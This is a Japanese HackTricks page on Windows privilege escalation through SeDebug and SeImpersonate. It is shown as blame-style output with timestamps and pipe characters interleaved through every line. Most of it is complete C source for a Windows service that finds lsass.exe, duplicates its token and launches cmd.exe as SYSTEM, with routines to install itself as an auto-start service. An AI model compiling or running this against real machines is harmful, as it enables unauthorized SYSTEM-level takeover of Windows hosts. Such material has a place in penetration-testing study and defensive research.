2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
次のコードは、**SeDebugとSeImpersonateの特権を悪用**して、**SYSTEMとして実行されているプロセス**からトークンをコピーするものです。\
|
|
|
|
|
このコードは、**Windowsサービスバイナリ**としてコンパイルして使用することができます。\
|
|
|
|
|
ただし、昇格が発生する**コードのメイン部分は`Exploit`関数**内にあります。\
|
|
|
|
|
その関数内では、**`lsass.exe`プロセスが検索**され、その**トークンがコピー**され、最後にその**トークンを使用してコピーされたトークンの特権を持つ新しい`cmd.exe`が生成**されます。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
他の**SYSTEMとして実行されているプロセス**で、すべてまたはほとんどのトークン特権を持つものには、_**services.exe**_、_**svhost.exe**(最初のいくつかのプロセスの1つ)、_**wininit.exe**_、_**csrss.exe**_などがあります(_保護されたプロセスからトークンをコピーすることはできないことを覚えておいてください_)。さらに、管理者として実行されるツール[Process Hacker](https://processhacker.sourceforge.io/downloads.php)を使用して、プロセスのトークンを表示することもできます。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```c
|
|
|
|
|
#include <windows.h>
|
|
|
|
|
#include <tlhelp32.h>
|
|
|
|
|
#include <tchar.h>
|
|
|
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
|
|
|
|
|
|
TCHAR* serviceName = TEXT("TokenDanceSrv");
|
|
|
|
|
SERVICE_STATUS serviceStatus;
|
|
|
|
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
|
|
|
|
HANDLE stopServiceEvent = 0;
|
|
|
|
|
|
|
|
|
|
//This function will find the pid of a process by name
|
|
|
|
|
int FindTarget(const char *procname) {
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
HANDLE hProcSnap;
|
|
|
|
|
PROCESSENTRY32 pe32;
|
|
|
|
|
int pid = 0;
|
|
|
|
|
|
|
|
|
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
|
|
|
|
|
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
|
|
|
|
|
|
if (!Process32First(hProcSnap, &pe32)) {
|
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
|
return 0;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
while (Process32Next(hProcSnap, &pe32)) {
|
|
|
|
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
|
|
|
|
pid = pe32.th32ProcessID;
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
|
|
|
|
|
|
return pid;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
int Exploit(void) {
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
HANDLE hSystemToken, hSystemProcess;
|
|
|
|
|
HANDLE dupSystemToken = NULL;
|
|
|
|
|
HANDLE hProcess, hThread;
|
|
|
|
|
STARTUPINFOA si;
|
|
|
|
|
PROCESS_INFORMATION pi;
|
|
|
|
|
int pid = 0;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
|
|
|
si.cb = sizeof(si);
|
|
|
|
|
ZeroMemory(&pi, sizeof(pi));
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
// open high privileged process
|
|
|
|
|
if ( pid = FindTarget("lsass.exe") )
|
|
|
|
|
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
|
|
|
else
|
|
|
|
|
return -1;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
// extract high privileged token
|
|
|
|
|
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
|
|
|
|
|
CloseHandle(hSystemProcess);
|
|
|
|
|
return -1;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
// make a copy of a token
|
|
|
|
|
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
// and spawn a new process with higher privs
|
|
|
|
|
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
|
|
|
|
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
return 0;
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
|
|
|
|
switch ( controlCode ) {
|
|
|
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
|
|
|
case SERVICE_CONTROL_STOP:
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
|
|
|
|
|
SetEvent( stopServiceEvent );
|
|
|
|
|
return;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
|
|
|
break;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
|
|
|
break;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
|
|
|
break;
|
|
|
|
|
|
|
|
|
|
default:
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
|
|
|
|
// initialise service status
|
|
|
|
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
|
|
|
serviceStatus.dwControlsAccepted = 0;
|
|
|
|
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
|
|
|
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
|
|
|
|
serviceStatus.dwCheckPoint = 0;
|
|
|
|
|
serviceStatus.dwWaitHint = 0;
|
|
|
|
|
|
|
|
|
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
|
|
|
|
|
|
|
|
|
if ( serviceStatusHandle ) {
|
|
|
|
|
// service is starting
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
|
|
|
|
|
// do initialisation here
|
|
|
|
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
|
|
|
|
|
|
|
|
|
// running
|
|
|
|
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
|
|
|
|
|
Exploit();
|
|
|
|
|
WaitForSingleObject( stopServiceEvent, -1 );
|
|
|
|
|
|
|
|
|
|
// service was stopped
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
|
|
|
|
|
// do cleanup here
|
|
|
|
|
CloseHandle( stopServiceEvent );
|
|
|
|
|
stopServiceEvent = 0;
|
|
|
|
|
|
|
|
|
|
// service is now stopped
|
|
|
|
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
|
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
|
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
void InstallService() {
|
2023-07-07 23:42:27 +00:00
|
|
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
|
|
|
|
|
|
|
|
|
if ( serviceControlManager ) {
|
|
|
|
|
TCHAR path[ _MAX_PATH + 1 ];
|
|
|
|
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
|
|
|
|
SC_HANDLE service = CreateService( serviceControlManager,
|
|
|
|
|
serviceName, serviceName,
|
|
|
|
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
|
|
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
|
|
|
|
0, 0, 0, 0, 0 );
|
|
|
|
|
if ( service )
|
|
|
|
|
CloseServiceHandle( service );
|
|
|
|
|
}
|
|
|
|
|
CloseServiceHandle( serviceControlManager );
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void UninstallService() {
|
2023-07-07 23:42:27 +00:00
|
|
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
|
|
|
|
|
|
|
|
|
if ( serviceControlManager ) {
|
|
|
|
|
SC_HANDLE service = OpenService( serviceControlManager,
|
|
|
|
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
|
|
|
|
if ( service ) {
|
|
|
|
|
SERVICE_STATUS serviceStatus;
|
|
|
|
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
|
|
|
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
|
|
|
|
DeleteService( service );
|
|
|
|
|
}
|
|
|
|
|
CloseServiceHandle( service );
|
|
|
|
|
}
|
|
|
|
|
CloseServiceHandle( serviceControlManager );
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int _tmain( int argc, TCHAR* argv[] )
|
|
|
|
|
{
|
2023-07-07 23:42:27 +00:00
|
|
|
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
|
|
|
|
InstallService();
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
2023-07-07 23:42:27 +00:00
|
|
|
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
|
|
|
|
UninstallService();
|
|
|
|
|
}
|
|
|
|
|
else {
|
|
|
|
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
|
|
|
|
{ serviceName, ServiceMain },
|
|
|
|
|
{ 0, 0 }
|
|
|
|
|
};
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
StartServiceCtrlDispatcher( serviceTable );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
**この例のコードは匿名の人物によって共有されました。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|